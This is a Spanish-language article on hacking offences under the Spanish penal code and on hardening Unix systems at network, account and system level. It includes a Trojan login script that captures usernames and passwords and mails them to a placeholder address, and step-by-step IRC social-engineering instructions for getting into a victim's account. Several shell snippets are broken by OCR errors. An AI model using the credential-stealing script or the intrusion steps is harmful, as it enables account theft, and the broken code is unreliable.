También ha de cumplirse el elemento subjetivo del tipo, es decir, la intención del sujeto agente de descubrir los secretos o vulnerar la intimidad del sujeto pasivo. Por esta razón se ha dicho que el denominado hacking blanco, aquel en el que el acceso a un sistema, no es punible, al no cumplirse en este supuesto el elemento del tipo del dolo, aunque se trata de una cuestión controvertida.

La pena que se impone para este tipo de conductas es prisión de uno a cuatro años y multa de doce a veinticuatro meses (esta última mediante el sistema de días-multa, según el cual el castigo consiste en una sanción pecuniaria por la cual se establecerá una cuota a pagar por cada día de pena impuesta, y cuya cuantía podrá oscilar entre doscientas y cincuenta mil pesetas diarias, con una extensión mínima de cinco días y una máxima de dos años).

El apartado segundo del artículo 197 impone las mismas sanciones para aquellas personas que, sin estar autorizadas, se apoderen, utilicen o modifiquen, en perjuicio de tercero, datos reservados de carácter personal o familiar de otro que se hallen registrados en ficheros o soportes magnéticos, electrónicos o telemáticos, o altere o utilice en perjuicio de su titular o de un tercero.

Por último respecto a esta modalidad, el apartado tercero de este mismo artículo tipifica la conducta consistente en revelar o ceder los secretos que se hayan descubierto mediante las técnicas anteriormente descritas, pero en esta ocasión el castigo es más grave, ya que se le impone una pena de prisión de dos a cinco años, debido a que en las conductas penadas en los apartados precedentes el único que puede conocer los datos secretos descubiertos es el sujeto que comete el delito, mientras que en este caso hay más personas que los conocen.

En las tres conductas descritas las penas se agravan si son realizados los hechos por personas encargadas o responsables de los ficheros, soportes informáticos, electrónicos o telemáticos.

El artículo 198 del Código Penal tipifica las mismas conductas del artículo anterior cometidas por autoridad o funcionario público, fuera de los casos permitidos por la ley, sin mediar causa por delito y prevaliéndose de su cargo.

Las penas impuestas en este caso son también de prisión, y además se le impondrá también la pena de inhabilitación absoluta por tiempo de seis a doce años.

Este precepto se aplica cuando no media causa legal por delito, es decir, cuando la razón de esa vulneración del derecho a la intimidad no se halla en la investigación de un posible delito, ya que de darse esa circunstancia serán aplicables los artículos 534 y siguientes del Código Penal, que

castigan al funcionario o autoridad que, mediando causa por delito, y sin respetar las garantías legales constitucionales, registre los documentos que se encuentren en el domicilio de la víctima, intercepte sus telecomunicaciones o revele la información obtenida. Al mediar en estos supuestos causa por delito las penas son más leves.

Otra modalidad de delito de descubrimiento de secretos es aquella que se refiere a la propiedad industrial, contemplada en el artículo 278 del Código Penal. Consiste en el apoderamiento por cualquier medio de datos, documentos escritos o electrónicos, soportes informáticos o el empleo de alguno de los medios del artículo 197.1 para descubrir un secreto de empresa, imponiendo las mismas penas que este último artículo.

También penaliza las conductas de revelación, difusión y cesión de los secretos descubiertos, señalando además que el presente artículo se aplicará independientemente de las penas que se puedan imponer por el apoderamiento o destrucción de los soportes informáticos.

Nuestra legislación también contempla el delito de daños sobre datos informáticos en el artículo 264.2 del Código Penal, en el que se que se impondrá una pena de prisión de uno a tres años y multa de doce a veinticuatro meses al que por cualquier medio destruya, altere, inutilice o de cualquier modo dañe los datos, programas o documentos electrónicos ajenos contenidos en redes, soportes o sistemas informáticos.

En este tipo se pueden incluir actos como introducción de virus en sistemas informáticos u otras conductas análogas.

Es necesaria la intención de causar daños, pero también se considera delito de daños aquel que se comete por imprudencia grave, siempre que los daños causados tengan una cuantía superior a diez millones de pesetas.

Además de estos delitos los llamados hackers pueden cometer otros tipos de conductas criminales tales como la estafa electrónica, delitos relativos a la propiedad intelectual o falsedad de documentos.

La estafa electrónica está regulada en el artículo 248.2 del Código Penal como aquella conducta consistente en valerse de alguna manipulación informática o artificio semejante para conseguir la transferencia no consentida de cualquier activo patrimonial en perjuicio de tercero, siendo además necesario el ánimo de lucro.

Podría considerarse, aunque en este caso la legislación no especifica nada al respecto, la posibilidad de que los hackers cometan el delito de robo con fuerza en las cosas, ya que según el artículo 238 del Código Penal constituye tal delito el apoderarse de las cosas muebles ajenas, con ánimo de lucro, cuando se descubran las claves para sustraer el contenido de armarios, arcas u otra clase de muebles u objetos cerrados o sellado, sea en el lugar del robo o fuera del mismo. Así, estos sujetos podrían apoderarse de una cosa mueble después de haber obtenido mediante una manipulación informática la clave para abrir el objeto que la contiene (una caja fuerte, por ejemplo).

También provocan la consideración de delito de robo, y por lo tanto no se aprecia delito de hurto (que lleva aparejada una pena inferior) la inutilización de sistemas específicos de alarma o guarda con los mismos fines.

Otro delito contra la propiedad que podría cometerse informáticamente es la apropiación indebida, contemplada en el artículo 252 del Código Penal, que básicamente consiste en la apropiación o distracción de dinero, efectos, valores o cualquier otra cosa mueble o activo patrimonial que se haya recibido en depósito, comisión o administración, o por otro título que produzca obligación de entregarlos o devolverlos, o la negativa de haberlos recibido.

Un ejemplo muy conocido es la llamada "técnica del salami" que consiste en el desvío de partes insignificantes de dinero de los depósitos o transacciones bancarias hacia cuentas bajo el control de un empleado de una entidad financiera. Al cabo del tiempo, el montante económico distraído informáticamente puede ascender a millones de pesetas. La pena de este tipo delictivo se asimila a la de la estafa: prisión de seis meses a seis años y, en su caso, multa de seis a doce meses.

El delito contra la propiedad intelectual viene definido por el artículo 270 del Código Penal como aquel en el que un sujeto, con ánimo de lucro y en perjuicio de un tercero, reproduzca, plagie, distribuya o comunique

**públicamente, en todo o en parte, una obra literaria, artística o científica, o su transformación, interpretación o ejecución artística fijada en cualquier tipo de soporte o comunicada a través de cualquier medio, sin la autorización de los titulares de los derechos intelectuales o de sus cesionarios.**

**Respecto a las falsedades documentales el precepto esencial relativo al hacking es el 400 del Código Penal, en virtud del cual se pena la fabricación o tenencia de útiles, materiales, instrumentos, sustancias, máquinas, programas de ordenador o aparatos, específicamente destinados a la comisión de los delitos de falsificación de documentos públicos o privados con la misma sanción que a los autores de dichas falsificaciones.**

**Además, los artículos 390 y siguientes del Código Penal tipifican los delitos de falsedades de documentos, públicos y privados, que son definidos en el artículo 26 de la misma ley como cualquier soporte material que exprese o incorpore datos, hechos o narraciones con eficacia probatoria o cualquier tipo de relevancia jurídica.**

**Otro supuesto delictivo poco conocido es la infidelidad en la custodia de documentos, contemplado en los artículos 413 a 416 del Código Penal, que en principio van destinados a los funcionarios públicos que tengan encomendada la custodia de documentos que, sin duda, pueden estar en formato electrónico.**

**Sin embargo, el artículo 414.2 se refiere en concreto a los particulares que destruyeren o inutilizaren los medios puestos para restringir el acceso a documentación pública reservada, los mismos serán castigados con la pena de multa de seis a dieciocho meses. En este supuesto se incardina perfectamente el caso de los hackers que burlan o inutilizan un password o un firewall que restringe el acceso al sistema informático de una Administración Pública.**

**Se podría equiparar al delito de calumnias e injurias hechas con publicidad aquellas en las que se utiliza un soporte informático o telemático para propagarlas, ya que en el artículo 211 del Código Penal se reputan como tales las que se propaguen por medio de la imprenta, la radiodifusión o por cualquier otro medio de eficacia semejante.**

Otro delito asimilable es el de defraudación de fluidos eléctricos y análogos donde se incluye la defraudación en redes de telecomunicaciones en el artículo 255 y 256 del Código Penal, castigada con multa de tres a doce meses, aparte de la total reparación de los daños económicos producidos.

No hay que olvidar los delitos relativos a la apología del delito o del genocidio recogidos en el artículo 18.1 y en el 608.2, relativos a la publicación de páginas Web, por ejemplo, en las que se imparten doctrinas radicales o racistas o en las que se anima a la comisión de delitos o se ensalza a sus autores. Estos delitos pueden llevar aparejada una pena de entre uno y dos años de prisión.

Hay otras referencias indirectas en el Código Penal, entre las que podemos destacar la contenida en el artículo 346 referente al delito de estragos relativa a la "perturbación grave de cualquier clase o medio de comunicación" (pensemos en el caso del colapso provocado de una red como Internet). Llama la atención dado que este delito se castiga con una pena de prisión de entre diez y veinte años si supone un peligro para la vida o la integridad de las personas.

Aparte de los vistos, existen otros hechos delictivos cuya comisión podría llevarse a cabo por Internet, pero debido a que la legislación no concreta nada al respecto y al principio de legalidad que rige en el Derecho Penal, por el cual no se podrá considerar ninguna acción u omisión como delito si no esta prevista como tal con anterioridad a su perpetración, no está claro si esas acciones podrían considerarse como constitutivas de una infracción penal.

#### **4.3. OBTENCIÓN DE PRUEBAS**

Respecto a la dificultad, puesta en relieve, para obtener y realizar las pruebas pertinentes de un delito informático, cabe realizar unas últimas precisiones y salvedades.

Pese a que en un principio pueda parecer difícil o casi imposible la obtención de pruebas sobre la comisión de un delito en Internet esto no es así, ya que los mismos medios y mecanismos que son empleados por los autores de la infracción para su perpetración pueden ser utilizados para el

esclarecimiento de los hechos y la identificación de los presuntos delincuentes, ya que se pueden obtener copias que documentan todas las actividades llevadas a cabo por los sujetos para cometer el delito.

De esta forma mediante tecnologías utilizadas en las pruebas digitales se pueden reproducir todas las actuaciones tendentes a la realización del resultado delictivo, porque en Internet los denominados objetos digitales no son irrepetibles. A esto se une el hecho de que los datos transmitidos por correo electrónico pueden ser intervenidos simultáneamente o incluso unos días después.

Existen asimismo sistemas de identificación que permiten conocer la identidad del sujeto infractor, como las bases de datos WHOIS o los mecanismos para establecer el origen de un mensaje analizando su cabecera y ruta seguida, bases de datos en que los sujetos registran voluntariamente sus datos o incluso se puede identificar al sujeto a través de su nickname.

Se exige la inmediata puesta a disposición judicial de aquellas grabaciones en las que se hayan captado indicios de la comisión de un ilícito penal.

A pesar de la existencia de estos mecanismos también se dan dificultades, ya que los medios técnicos son insuficientes y aún no se ha producido una especialización para la investigación de este tipo de delitos.

Una vez visto la manera de actuar de los hackers así como el marco legal por donde nos movemos, pasaremos a una descripción técnica de cómo proceder para proteger los sistemas (a nivel red, cuentas y sistema) y como utilizar programas para evaluar nuestra situación cuando se plantean problemas derivados de ataques de hackers.

## 5. PROCEDIMIENTO DE PROTECCIÓN A NIVEL DE RED

A nivel de red, la seguridad es uno de los principales problemas debido a que si un equipo pertenece a una, el acceso a este puede ser desde cualquier parte.

Las maneras más frecuentes de atacar son: el empleo de herramientas de escaneo de puertos para la comprobación de vulnerabilidades en los equipos, y la denegación de servicios en servidores, debidos al empleo de generadores de datagramas IP erróneos o complicados de procesar.

### 5.1. FILTRADO DE PAQUETES

El filtrado de paquetes es debido a los fallos en varios servicios TCP/IP así como en la existencia de protocolos defectuosos. Por tanto sólo en aquellos servicios que deban estar accesibles desde fuera del área local serán permitidos a través de los filtros en routers. Estos filtros deberán permitir las condiciones de acceso a dichos servicios. Aunque cada red es un mundo, a continuación se muestran una serie de servicios que se deberían de filtrar:

#### **NOMBRE PUERTO TIPO DE CONEXION SERVICIO**

Echo 7 Tcp/udp Devuelve los datos que se reciben Sysstat 11 Tcp  
Información del equipo

Netstat 15 Tcp Información sobre la red

Chargen 19 Tcp/udp Generador de caracteres continuo SMTP 25 Tcp  
Correo Domain 53 Tcp/udp DNS

Bootp 67. Udp Arranque de estaciones remotas sin disco

Tftp 69 Udp Arranque de equipos remotos asi como carga de  
configuraciones

Sunrpc 111 Tcp/udp Portmapper

News 144 Tcp Servidores de news

Snmp 161 Udp Gestión remota de equipos

Exec 512 Tcp Ejecución remota de comandos (rexec)

Login 513 Tcp Acceso remoto al sistema Shell 514 Tcp Shell remoto

Who 513 Udp Información sobre los usuarios conectados

Syslog 514 Udp Almacenamientos de los log

Route 520 Udp Información sobre los enrutamientos NFS 2049 Tcp/udp  
Sistemas de ficheros remotos  
X-Windows 6000 + n Tcp Servidor X-Windows siendo n el número máximo  
de servidores X que puede tener

## 5.2. COMANDOS REMOTOS

Es recomendable que si no necesita utilizar los comandos remotos que los deshabilite debido a que puede aumentar el riesgo de ser atacado. Para realizar dicha tarea basta con editar el fichero `/etc/inetd.conf` y poner al principio de la línea `"#"` con lo cual dicha línea queda convertida en un comentario. Para rearrancar el demonio basta con teclear `killall-HUP inetd`.

Si no queda más remedio que utilizarlos se recomienda utilizar las versiones más seguras. Por ejemplo el paquete de Wietse Venema, uno de los más seguros, que puede ser configurado para consultar sólo el fichero `/etc/hosts.equiv` y no el `$HOME/.rhosts`. También dicho paquete incorpora la opción de desactivar `"+"` el cual es un comodín utilizado para decirle al sistema que todo equipo puede accederle remotamente. Es también aconsejable el `ssh` o el uso de `tcp-wrapper` para proporcionar una monitorización del acceso a estos servicios.

El fichero `/etc/hosts.equiv` puede ser usado por el administrador para decirle al sistema operativo que equipos están autorizados, por tanto cuando un usuario intenta entrar en el sistema usando remotamente (`rlogin`, `rsh`, etc.) desde un equipo listado en dicho fichero y el usuario tiene una cuenta en el sistema con el mismo login, el acceso es permitido sin ninguna contraseña. Esto evitará que accedan a un servidor hackeando desde el IRC (esto solo funcionaba con máquinas Unix). Dicha invasión consistía en varios pasos: el primero era hacer un `/whois #un_canal_con_bastante_gente` para encontrar alguien que se conecte desde un sistema Unix, segundo si hay alguien conectado será la víctima para ello intentaremos hablarle en privado, tercero mandar un fichero por DCC ("`leeme.irc`" dicho fichero tendrá unos comandos los cuales permiten el acceso al servidor sin ningún problema), cuarto el tendrá que teclear `/load leeme.irc` y por último ejecutamos `"rlogin equipo_de_la_victima.es -1 login_de_la_victima"`. Con esta secuencia entraríamos dentro de la máquina con su cuenta, sin más dificultad que tener imaginación para que tecleé `/load leeme.irc`, y si por último cambiamos nuestro módem a una determinada paridad y hacemos `telnet` a ese ordenador accederemos cuando alguien intente conectarse en su lugar.

### 5.3. */etc/hosts.equiv*

Como antes se ha mencionado el fichero */etc/hosts.equiv* lo utiliza el sistema para autentificar que equipos están autorizados para entrar en él.

Si tiene dicho fichero debe asegurarse de:

- que los permisos de dicho fichero son 600 - que el propietario es root
- que solo hay un número limitado de equipos
- introducir el nombre completo de la maquina, es decir "afrodita.ípf.nef"
- asegúrese de no tener el carácter "+" en ningún lugar ya que permite el acceso a cualquier equipo
- tener cuidado en no utilizar los caracteres "!" ó "#" ya que en este fichero no hay ningún comentario
- asegúrese que el primer carácter no es un u\_u
- utilizar grupos de red para una administración más sencilla si utiliza NIS ó NIS+.

Un ejemplo del fichero */etc/hosts.equiv* sería:

```
afrodita.ipjnet atenea.ipjnet espe1:ipjnet -@alum +@prof
```

Con este ejemplo autorizamos a los equipos afrodita, atenea y espe que están en el dominio ípfnet. Además también autorizamos a todos los equipos que pertenezcan al grupo de red uprof, pero en cambio negamos el acceso a todos los que pertenezcan al grupo de red ualum".

### 5.4. *\$HOME/.rhosts*

El fichero *\$HOME/.rhosts* no es recomendable permitirlo, como antes se mencionaba. Aunque sí se permite tiene que tener en cuenta que:

- los permisos de dicho fichero son 600

- el propietario es el mismo usuario de la cuenta
- no contenga el carácter "+" en ningún lugar debido a que permite el acceso de cualquier equipo en dicha cuenta
- no contenga los caracteres "!" ó "#" ya que en este fichero no hay ningún comentario
- el primer carácter no es un "-"

Observe que la política de seguridad es muy parecida a la del fichero `/etc/hosts.equiv`. Un ejemplo de un script que detecte y borre automáticamente todos los ficheros `$HOME/.rhosts` sería:

```
# ! /bin/ sh
# buscador de ficheros .rhosts en los directorios /home

PATH=/usr/bin

for user in $(cat passwd | awk -F: 'length($6) > 0 {print $6}' | sort -u)
do
    [[ -f $user/ .rhosts]] I I continue
    rm -1 $user/ .rhosts
    print "$user/ .rhosts ha sido borrado"
done
```

### 5.5. `/etc/hosts.lpd`

El fichero `/etc/hosts.lpd` permite a los equipos incluidos en él utilizar la impresora de nuestro equipo. Por tanto es aconsejable que se asegure de que:

- que los permisos de dicho fichero son 600 - que el propietario es root
- que solo hay un número limitado de equipos
- introducir el nombre completo de la maquina, es decir `afrodita.ipf.nef`.

- asegúrese de no tener el carácter "+" en ningún lugar ya que permite el acceso a cualquier equipo
- tener cuidado en no utilizar los caracteres "!" ó "#" ya que en este fichero no hay ningún comentario
- asegúrese que el primer carácter no es un "-"

### **5.6. Servicios de red**

El concepto de servicio es ligeramente diferente al concepto de recurso. Una máquina puede proporcionar muchos recursos en forma de impresora que proporciona a usuarios remotos, pero todos ellos acceden al equipo por medio de un servicio: lprd

#### **5.6.1. /etc/inetd.conf**

El fichero `etc/inetd.conf` es el fichero de configuración del demonio `inetd`. El `inetd` está "a la escucha" de conexiones, es decir se puede decir que escucha en varios puertos en el sentido que administra todos los puertos. Dicho fichero debe verificar que:

- los permisos están a 600 - el propietario es root
- desactive cualquier servicio que no se necesite
- es recomendable desactivar todos los servicios remotos y `tftp` para mayor seguridad. Para que los cambios hagan efecto hay que reiniciar el demonio con el comando `killall -HUP inetd`

#### **5.6.2. `etc/services`**

El archivo `etc/services` contiene una lista de los servicios que puede proporcionar un equipo. Debe verificar que:

- los permisos están a 644 - el propietario es root

### **5.7. Terminales seguros**

Este archivo se encuentra ubicado en `/etc/security`, `letc/ttys` ó `letc/defaultUlogin` y nos permite configurar que terminales no son seguros para entrar en el equipo con la cuenta root. Hay que fijarse que:

- los permisos están a 644 - el propietario es root
- la opción `secure` está desactivada de todas las entradas que no utilice el administrador

Un ejemplo de este fichero seria:

```
console " /usr/etc/getty std.9600" unknown off secure
ttyb " /usr/ etc/getty std.9600" unknown off secure
ttypO none network off secure
```

La opción `secure` al final de cada línea significa que el terminal es considerado seguro.

## 6. PROCEDIMIENTO DE PROTECCIÓN A NIVEL DE CUENTAS

Una de la manera más sencilla de hackear un equipo es irrumpiendo en la cuenta de alguien. Esto normalmente es fácil de conseguir, gracias a las cuentas viejas de usuarios que han dejado la organización con contraseñas fáciles de descubrir. También se pueden conseguir con el aprovechamiento de fallos de seguridad en ciertas aplicaciones o incluso utilizando Caballos de Troya normalmente enmascarados en el programa /bin/login. Un ejemplo de un Caballo de Trola sería:

```
echo "login: \c"  
read lgin  
echo off (o tambien "stty -noecho" dependiendo del sistema)  
echo "Password:\c"  
read pw  
echo on  
echo "Login: $lgin - Pasword: $pw" | mail direccion_de_correo
```

A continuación se mostraran algunos métodos para evitar estos problemas:

### 6.1. Las contraseñas

Una buena contraseña es la base de una buena defensa contra el abuso de confianza de los administradores, es decir con una mala contraseña permitimos un fácil acceso a cualquier persona hostil. Para obtenerla basta con crearla a partir de por dos o tres partes de palabras separadas entre si por un carácter especial, que tengan letras mayúsculas y minúsculas intercaladas y que tengan como mínimo cinco caracteres. Otra manera bastante sencilla es a partir de una frase y escogiendo las iniciales de cada palabra intercalando algún carácter especial. Por ejemplo ¿A qué hora

hemos quedado ayer?, la contraseña sería "aqh.hq#a". Las malas contraseñas son aquellas que:

- tengan el mismo login
- tengan algún apellido del usuario de la cuenta
- tengan el nombre de los hijos, la mujer, la novia - tengan la matrícula del coche, moto, etc
- tengan todos sus caracteres números (D.N.I.) - pertenezcan al diccionario
- tengan menos de 5 caracteres

## **6.2. Administración**

Hay unos pasos que hay que seguir regularmente después de crear las cuentas. Dichos pasos son:

- buscar las cuentas que no hayan sido utilizadas durante al menos 6 meses. Mandarle un e-mail y si no contesta borrar la cuenta
- comprobar asiduamente el fichero `/etc/passwd` que no contenga ninguna cuenta el UID igual a 0 (pertenece a root)
- muestre la información a los usuarios de la última vez que se conecto para que puedan detectar si otra persona ha utilizado su cuenta
- informar a los usuarios que no almacenen información sobre su cuenta en archivo de texto y mucho menos la envíen por correo
- comprobar que todas las cuentas tienen contraseña, para ello basta con ejecutar un pequeño script como el que se muestra a continuación

```
#!/bin/sh
```

```
# buscador cuentas sin contraseñas en el fichero /etc/passwd
```

```
awk -F: 'NF != 7 || $2 == "" {print "Hay un problema con: \"$0\"} /etc/passwd
```

- monitorizar los accesos aceptados y los no de los intentos de su
- comprobar por los intentos fallidos que se respetan a la hora de entrar en el sistema
- considerar las cuotas en las cuentas que no las tenga
- todos los usuarios deberían utilizar las cuenta con sólo los privilegios necesarios para realizar sus tareas asignadas - hacer copias de seguridad del directorio `/home`

### **6.3. Las cuentas especiales**

- comprobar que no hay cuentas compartidas - no agregar cuentas invitado
- crear grupos especiales para restringir que usuarios pueden ser root
- desactivar las cuentas sin contraseña
- poner las cuentas del sistema (root, bin, uucp, ingres, daemon, news, nobody) en el fichero /etc/ftpuser

### **6.4. La cuenta de superusuario (root)**

- no entre como root por la red, es decir por medio de cualquier acceso remoto
- los usuarios administrativos necesitan dos cuentas: una con privilegios de superusuario y la otra con privilegios limitados para utilizar para el resto de las actividades
- restrinja el número de personas que sepa la cuenta de root - cambie la contraseña cada semana
- no puede estar el fichero .rhosts en el directorio /root
- no ejecute ficheros que no tengan como propietario a root y que no puedan ser escritos por nadie
- hacer uso de path completos, es decir /bin/su, /bin/passwd

## 7. PROCEDIMIENTO DE PROTECCIÓN A NIVEL DE SISTEMA

Comprobar por los agujeros de seguridad en los ficheros del equipo es otra parte importante para conseguir un equipo seguro. Unas reglas básicas son:

- asegúrese de que el equipo no tenga ningún fichero `.exrc`, sobre todo en la cuenta de superusuario (`root`).
- considere usar la variable `EXINIT` para desactivar dicho fichero
- asegúrese que ningún fichero `.forward` sea un script para ejecutar un programa no autorizado
- establezca en el fichero `letclprofile` el `umask` para los usuarios lo más restrictiva posible (`022`, `033` ó `077`). La máscara de `root` debería ser `077`.
- asegúrese de borrar todo lo que haya en el directorio `ltmp` al iniciar los demonios locales
- revise en el directorio de `root` (`lroot/`) los ficheros de inicialización (`.profile`, `.login`, `.cshrc`, etc) y que no esté el comando `path` o la variable de entorno `PATH` con el directorio `."`.
- compruebe en el directorio `lroot/` que no hay el fichero `.rhosts`
- compruebe que referencia el fichero `lroot/lprofile`, `lroot/login` ó `lroot/logout`. Si referencia algún archivo compruebe a que tipo de archivo hace referencia y qué hace
- asegúrese que `root` es el propietario del kernel (`/vmlinuz`) y que tiene los permisos `644`
- asegúrese que `root` es el propietario de `/etc`, `/usr/etc`, `/bin`, `/usr/bin`, `/sbin`, `/usr/sbin`, `/tmp` y `/var/tmp`
- compruebe que los ficheros con el bit `SUID` o `SGID` son los que debería ser
- considere borrar el acceso a lectura de los ficheros que los usuarios no necesitan tener acceso
- evitar que el correo `root` se acumule sin que sea leído. Utilice el fichero `lroot/lforward` para redirigirlo.
- Se recomienda el uso de `ssh` al `root` para evitar posibles escuchas en la red o cualquier otro programa de encriptación de contraseñas. Dicho programa se puede encontrar en <http://www.cs.hut.fi/ssh/>.

Otra cosa que hay que tener en cuenta son las copias de seguridad. Para las copias de seguridad recomendable que se guíe con esta política:

- No deje los soportes de las copias de seguridad en los dispositivos de copia de seguridad donde puedan ser robados
- Encripte las copias si la información es sensible
- Utilice métodos de rotación de cintas y almacene las copias fuera del lugar habitual del equipo.
- Realice simulaciones periódicas de recuperación de datos para comprobar la integridad de las copias de seguridad así como los procedimientos de copia de seguridad y restauración.
- Documente las copias de seguridad.

## 8. CARACTERÍSTICAS DE PROGRAMAS RECOMENDABLES

Nos podemos encontrar infinidad de programas que nos ayuden a aumentar la seguridad. A título de ejemplos, a continuación se nombrarán algunos de ellos y sus principales características:

- **Crack**: es un programa que permite craquear las contraseñas del fichero de claves. Está diseñado para que los administradores los usen para detectar que usuarios no tienen contraseñas seguras.

- **COPS, Tiger y SATAN (Security Administrator Tool for Analysing Networks)**: estas aplicaciones identifican los problemas más comunes en seguridad y en la configuración.

- **Tcp-wrapper**: se trata de una aplicación que proporciona una serie de mecanismos para el registro y filtro de aquellos servicios invocados o llamados a través del demonio inetd. Con esta herramienta el administrador posee un control absoluto de las conexiones hacia y desde su equipo. Además el administrador es informado en todo momento y con todo lujo de detalles de las conexiones que se han hecho desde su máquina y hacia su máquina con cualquiera de los diferentes servicios de internet (telnet, finger, etc).

- **Cpm**: este programa comprueba que las tarjetas de red no estén trabajando en modo promiscuo. Por tanto es una aplicación que descubre si hay algún sniffer en el equipo.

## 9. CONCLUSIONES

De la evaluación de lo expuesto podemos obtener las siguientes conclusiones:

- 1) La base de incremento de seguridad en el equipo y/o sistema es una buena política de contraseñas, debido a que es la parte vital de un sistema multiusuario.
- 2) Monitorizar las brechas de seguridad es más importante que prevenirlos, ya que es imposible hacer un equipo seguro al 100%, siempre habrá un agujero para acceder al sistema. Por tanto solo al monitorizar se puede detectar la entrada de un hacker y remediarlo.
- 3) Podemos encontrar bastantes programas en la red para incrementar la seguridad, pero también serán útiles a los hacker para encontrar los agujeros de nuestro máquina.
- 4) Es conveniente utilizar las últimas versiones de las aplicaciones ya que tendrán los últimos agujeros encontrados subsanados sobre todo para los servicios DNS, WWW, FTP, NFS Y NETBIOS. Obviamente tendrán otros agujeros, pero tardaran más en encontrarlos ya que no estarán en Internet.
- 5) No es recomendable la utilización de un único equipo como servidor para Internet (FTP, correo, DNS, WWW, etc).
- 6) Es recomendable que exista un responsable definido que se encargue del área de seguridad.
- 7) En general los equipos que necesiten el empleo de sistemas inseguros de transmisión de claves deberán estar aislados de la red.
- 8) No es cierto que los ilícitos cometidos a través de las redes informáticas no estén recogidos ni penalizados por la ley. La mayor parte de ellos lo están y pueden ser constitutivos de delito e, incluso, conllevar penas de prisión.

**9) Cuando se detecten hechos que pudieran encuadrarse en alguno de los delitos informáticos tipificados, es preceptiva la denuncia de los mismos ante las autoridades competentes.**

**10) En caso de que se sufran daños derivados de algún hecho ilícito, el perjudicado puede reclamar una indemnización por daños y perjuicios a su autor, aparte de la correspondiente sanción administrativa o penal que le recayere por dicha acción.**

## 10.- BIBLIOGRAFIA

<http://www.netsearch-ezine.com>

<http://www.hispasec.com/> <Http://www.rediris.es/>  
<http://SecurityPortal.com/>  
<http://www.w3.org/Security/>  
<http://www.redhat.com/corp/support/errata/> <Http://securitV.debian.roq/>  
<http://www.suse.de/e/patches/> <Http://sunslove.sun.com/>

ALVAREZ-CIENFUEGOS SUÁREZ, José María: "Los delitos de falsedad y los documentos generados electrónicamente. Concepto - procesal y material de documento: nuevas técnicas". Cuadernos de Derecho Judicial. La nueva delincuencia 11. Consejo General del Poder Judicial. Madrid 1993.

ASSOCIATED PRESS: "Hackers: Pentagon archives vulnerables". Mercury Center, 17 de abril de 1998:  
<http://sQyglass.l.s.imercury.com/breakingLdocs/O77466.htm>

CORRERA, Michele M. y MARTUCCI, Pierpaolo: I Reati Comessi con l'uso del computer. Banche dei dati e tutela della persona. CEDAM (Casa Editrice Dott. Antonio Milani). Padova, 1986.

DA V ARA RODRÍGUEZ, Miguel Ángel: "Derecho Informático". Ed. Aranzadi. Navarra, 1993.

DA V ARA RODRÍGUEZ, M. A.: "El documento electrónico, informático y telemático y la firma electrónica". Actualidad Informática Aranzadi, n~4, Navarra, julio de 1997.

DRAGO, Mirta: "Hispahack: tres «cerebros» desactivados". El Mundo del siglo XXI.. Madrid, 4 de abril de 1998.

HANCE, Olivier: Leyes y Negocios en Internet, McGraw-Hill, México 1996.

LOPES ROCHA, Manuel y MACEDO, Mario: Direito no Ciberespato, Edicoes Cosmos, Lisboa 1996.

MOYNA MÉNGUEZ, José y otros: "Código Penal". 28 Edición. Ed. Colex. Madrid, 1996.

**PÉREZ LUÑO, A. E.:** Nuevas tecnologías, sociedad y Derecho. El impacto socio jurídico de las N: 7: de la información, Fundesco, Madrid 1987.

**PÉREZ LUÑO, A. E.:** Manual de Informática y Derecho, Ariel, Barcelona 1996.

**PIETTE-COUDOL, Thierry et BERTRAND, André:** Internet et la Loi, Dalloz, Paris 1997.

**QUINTERO OLIV ARES, Gonzalo y otros:** "Comentarios al Nuevo Código Penal". Ed. Aranzadi. Navarra, 1996.

**SANZ LARRUGA, F .J.:** El Derecho ante las nuevas tecnologías de la Información, nol del Anuario de la Facultad de Derecho da Universidade da Coruña (1997), pp. 499-516.

**SEMINARA, Sergio:** La piratería su Internet e il diritto penale. AIDA, 1996.

**SERRA, Carlo y STRANO, Marco:** Nuove Frontiere della Criminalita. La crimalitá tecnologica. Giuffi-e Editore. Milán, 1997.